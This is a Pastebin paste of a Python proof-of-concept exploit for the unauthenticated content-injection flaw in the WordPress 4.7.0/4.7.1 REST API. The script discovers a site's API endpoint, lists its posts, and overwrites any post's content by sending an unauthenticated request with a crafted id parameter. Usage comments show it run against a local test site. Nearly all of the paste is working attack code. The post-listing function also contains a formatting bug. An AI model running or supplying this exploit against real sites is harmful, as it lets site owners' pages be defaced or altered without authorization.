Advertisement
Guest User

f

a guest
Mar 24th, 2017
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. # 2017 - @leonjza
  2. #
  3. # Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
  4. # Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  5.  
  6. # Usage example:
  7. #
  8. # List available posts:
  9. #
  10. # $ python inject.py http://localhost:8070/
  11. # * Discovering API Endpoint
  12. # * API lives at: http://localhost:8070/wp-json/
  13. # * Getting available posts
  14. # - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
  15. #
  16. # Update post with content from a file:
  17. #
  18. # $ cat content
  19. # foo
  20. #
  21. # $ python inject.py http://localhost:8070/ 1 content
  22. # * Discovering API Endpoint
  23. # * API lives at: http://localhost:8070/wp-json/
  24. # * Updating post 1
  25. # * Post updated. Check it out at http://localhost:8070/archives/1
  26. # * Update complete!
  27.  
  28. import json
  29. import sys
  30. import urllib2
  31.  
  32. from lxml import etree
  33.  
  34.  
  35. def get_api_url(wordpress_url):
  36. response = urllib2.urlopen(wordpress_url)
  37.  
  38. data = etree.HTML(response.read())
  39. u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
  40.  
  41. # check if we have permalinks
  42. if 'rest_route' in u:
  43. print(' ! Warning, looks like permalinks are not enabled. This might not work!')
  44.  
  45. return u
  46.  
  47.  
  48. def get_posts(api_base):
  49. respone = urllib2.urlopen(api_base + 'wp/v2/posts')
  50. posts = json.loads(respone.read())
  51.  
  52. for post in posts:
  53. print(' - Post ID: {0}, Url: {2}'
  54. .format(post['id'], post['link']))
  55.  
  56.  
  57. def update_post(api_base, post_id, post_content):
  58. # more than just the content field can be updated. see the api docs here:
  59. # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
  60. data = json.dumps({
  61. 'content': post_content
  62. })
  63.  
  64. url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
  65. req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
  66. response = urllib2.urlopen(req).read()
  67.  
  68. print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
  69.  
  70.  
  71. def print_usage():
  72. print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
  73.  
  74.  
  75. if __name__ == '__main__':
  76.  
  77. # ensure we have at least a url
  78. if len(sys.argv) < 2:
  79. print_usage()
  80. sys.exit(1)
  81.  
  82. # if we have a post id, we need content too
  83. if 2 < len(sys.argv) < 4:
  84. print('Please provide a file with post content with a post id')
  85. print_usage()
  86. sys.exit(1)
  87.  
  88. print('* Discovering API Endpoint')
  89. api_url = get_api_url(sys.argv[1])
  90. print('* API lives at: {0}'.format(api_url))
  91.  
  92. # if we only have a url, show the posts we have have
  93. if len(sys.argv) < 3:
  94. print('* Getting available posts')
  95. get_posts(api_url)
  96.  
  97. sys.exit(0)
  98.  
  99. # if we get here, we have what we need to update a post!
  100. print('* Updating post {0}'.format(sys.argv[2]))
  101. with open(sys.argv[3], 'r') as content:
  102. new_content = content.readlines()
  103.  
  104. update_post(api_url, sys.argv[2], ''.join(new_content))
  105.  
  106. print('* Update complete!')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement